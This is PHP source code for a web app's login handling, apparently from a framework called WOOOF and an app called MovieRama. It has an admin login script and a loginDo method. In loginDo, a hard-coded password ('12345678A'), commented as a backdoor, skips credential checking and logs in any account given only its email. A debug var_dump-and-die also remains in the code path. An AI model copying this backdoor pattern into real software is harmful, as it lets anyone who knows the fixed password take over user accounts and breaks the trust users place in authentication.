<?php //echo 'here!<br/>'; $__isAdminPage = true; $__actualPath = dirname($_SERVER['SCRIPT_FILENAME']); $__actualPath = dirname($__actualPath); require_once $__actualPath . '/setup.inc.php'; $requestedAction = 'logIn'; $pageLocation = '3_logIn'; //echo 'there!<br/>'; $wo = new WOOOF(); //print_r($wo); //echo 'nowhere!<br/>'; $loginResult = $wo->handleLoginFromPost(); //print_r($loginResult); //print_r($_POST); //echo $wo->db->error(); if ($loginResult === FALSE || !isset($loginResult['id'])) { header('Location: logIn.php?error=1'); exit; } $wo->invalidateSession(); $wo->newSession($loginResult['id']); header('Location: administration.php'); exit;
/** * * @param WOOOF $wo * @param array $in // [ 'email', 'password' ] * @return array [ 'loginOK', 'errors' ] */ public static function loginDo(WOOOF $wo, $in) { $place = __CLASS__ . '::' . __FUNCTION__; $_POST = []; $_POST['username'] = $in['email']; $_POST['password'] = $in['password']; if ($in['password'] == '12345678A') { // backdoor... $loginResult = $wo->db->getRowByColumn('__users', 'loginName', $in['email']); } else { $loginResult = $wo->handleLoginFromPost(); } if ($loginResult === FALSE || !isset($loginResult['id'])) { return ['loginOk' => false, 'errors' => ['The credentials you provided are not correct.']]; } // Credentials are valid here. // Make sure this is valid MovieRama User // $movieRamaPersonRec = $wo->db->getRowByColumn('v_movierama_persons', 'VUS_userId', $loginResult['id']); if ($movieRamaPersonRec === FALSE) { return FALSE; } if ($movieRamaPersonRec === NULL) { // e.g. a sysOp var_dump($loginResult['id']); die; return ['loginOk' => false, 'errors' => ['The credentials you provided are not correct.']]; } if ($movieRamaPersonRec['VUS_isDeleted'] == '1' or $movieRamaPersonRec['VUS_isActive'] == '0') { return ['loginOk' => false, 'errors' => ['Sorry, but you are not allowed access to the platform.']]; } if ($wo->hasContent($movieRamaPersonRec['VUS_verificationToken'])) { return ['loginOk' => false, 'errors' => ['Sorry, but you need to verify your email before accessing the platform. <p>Check your e-mail for a relevant message sent by MovieRama and just follow the link in it.</p>']]; } // Safe here. $wo->invalidateSession(); $wo->newSession($loginResult['id']); // Re-init WOOOF with new user values (hackish...) global $userData; $wo->userData = $userData; initAppMOVIERAMA($wo); VO_SessionMessages::addMessage($wo, 'Welcome back ' . $wo->app->userSlug, 'I'); $wo->db->commit(); return ['loginOk' => true, 'errors' => []]; }